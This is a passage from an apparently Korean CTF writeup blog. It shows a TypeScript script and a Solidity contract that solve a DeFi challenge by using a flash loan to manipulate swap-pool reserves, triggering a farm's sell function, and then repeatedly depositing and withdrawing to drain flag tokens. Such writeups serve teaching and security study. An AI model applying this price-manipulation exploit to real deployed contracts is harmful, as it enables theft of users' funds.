    await delay(20000);
}
 
async function approve() {
    var calldata = N1TokenInterface.encodeFunctionData("approve", [N1Farm, BigNumber.from(2).pow(256).sub(1)]);
    console.log("approving N1Token to N1Farm");
    let signed = await signer.signTransaction({
        from : myAddress,
        to : N1Token,
        gasLimit: BigNumber.from(2000000),
        nonce : stnonce,
        data : calldata, 
        chainId: 1211,
    });
    stnonce += 1;
    console.log("stnonce : " + stnonce.toString());
    await provider.send("eth_sendRawTransaction", [signed]);
    await delay(20000);
}
 
async function checkSolved() {
    var calldata = DeployInterface.encodeFunctionData("isSolved");
    console.log("checking solved");
    let signed = await signer.signTransaction({
        from : myAddress,
        to : Deploy,
        gasLimit: BigNumber.from(2000000),
        nonce : stnonce,
        data : calldata, 
        chainId: 1211,
    });
    stnonce += 1;
    console.log("stnonce : " + stnonce.toString());
    let txhash = await provider.send("eth_sendRawTransaction", [signed]);
    console.log("Final TxHash");
    console.log(txhash);
}
 
async function main() {
    console.log(await provider.getBalance(myAddress));
 
    let ExploitAddress = await deployContract();
    await forceArbitrage(ExploitAddress);
 
    let cur : BigNumber = await N1TokenContract.balanceOf(myAddress);
    console.log(cur.toBigInt());
    
    await approve();
 
    while(true) {
        await deposit(cur);
        await withdraw(cur.sub(1));
        await deposit(cur.sub(1));
        await withdraw(cur);
        
        console.log("myAddress");
        console.log((await N1TokenContract.balanceOf(myAddress)).toBigInt());
        console.log((await FlagTokenContract.balanceOf(myAddress)).toBigInt());
 
        console.log("SimpleSwap Pools");
        console.log((await N1TokenContract.balanceOf(Pool)).toBigInt());
        console.log((await FlagTokenContract.balanceOf(Pool)).toBigInt());
 
        console.log("poolInfo");
        console.log(await N1FarmContract.poolInfos(N1Token));
 
        console.log("N1Farm");
        console.log((await N1TokenContract.balanceOf(N1Farm)).toBigInt());
        console.log((await FlagTokenContract.balanceOf(N1Farm)).toBigInt());
 
        let flagbalance : BigNumber = await FlagTokenContract.balanceOf(myAddress);
        if(flagbalance.gt(BigNumber.from(200000).mul(BigNumber.from(10).pow(18)))) {
            break;
        }
    }
    
    await deposit(cur);
    await checkSolved();
}
 
 
main()
cs

 

solidity exploit for front running

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity 0.6.12;
 
// implement basic interfaces via simple copy paste...
 
contract Exploit is IflashLoanCallee {
    using SafeMath for uint256;
    IFlashLoanProvider private immutable flashloan = IFlashLoanProvider(0xe93dF93555f19C5b2b0410d38c815110E236c80C);
    ISimpleSwapPair private immutable pool = ISimpleSwapPair(0xb221898738D1925E73b0cdDF440aA1d44d5B7092);
    IERC20 private immutable N1Token = IERC20(0xedCdB0d6377bc484452A26E39CA9fcB3d57faA68);
    IERC20 private immutable FlagToken = IERC20(0xd46beffbA9F12d87295D42bB532429482F2bAEa2);
    IN1Farm private immutable N1Farm = IN1Farm(0x31adD2Ae6e9EF0c9F41c478916A8Ac2234A5E4FA); 
    function forceArbitrage() external {          
        flashloan.flashloan(4000000000000000000000"1");
    }
    function getAmountOut(uint amountAIn, uint reserveA, uint reserveB) public view returns (uint amountOut) {
        uint numerator = amountAIn.mul(reserveB);
        uint denominator = reserveA.add(amountAIn);
        amountOut = numerator.div(denominator);
    }
    function flashLoanCall(address sender, IERC20 token, uint256 amountOut, bytes calldata data) external override {
          (uint112 reserveA, uint112 reserveB) = pool.getReserves();
          uint recvAmount = getAmountOut(amountOut, reserveA, reserveB);
          N1Token.transfer(address(pool), amountOut);
          pool.swap(0, recvAmount, address(this), "");
          N1Farm.sellSomeForFlag();
          uint cur_flag = FlagToken.balanceOf(address(this));
          (uint112 reserveAn, uint112 reserveBn) = pool.getReserves();
          uint recvAmountn = getAmountOut(cur_flag, reserveBn, reserveAn);
          FlagToken.transfer(address(pool), cur_flag);
          pool.swap(recvAmountn, 0, address(this), "");
          N1Token.transfer(address(flashloan), amountOut);
          uint rem = N1Token.balanceOf(address(this));
          N1Token.transfer(address(0x0D2871cc404305ca4F141bA90cea3e8649b9B9fE), rem);
    }     
}
cs

 

 

'수학 > 암호론 및 CTF' 카테고리의 다른 글

SECCON CTF 2021 Writeups  (0) 2021.12.14
N1CTF 2021 Writeups  (1) 2021.11.22
PBCTF 2021 Writeups  (0) 2021.10.13
TSGCTF 2021 Writeups  (0) 2021.10.03
DUCTF 2021 Writeups  (0) 2021.09.26
ACSC Crypto Writeups  (0) 2021.09.26
  1. 가슴이 웅장해진다..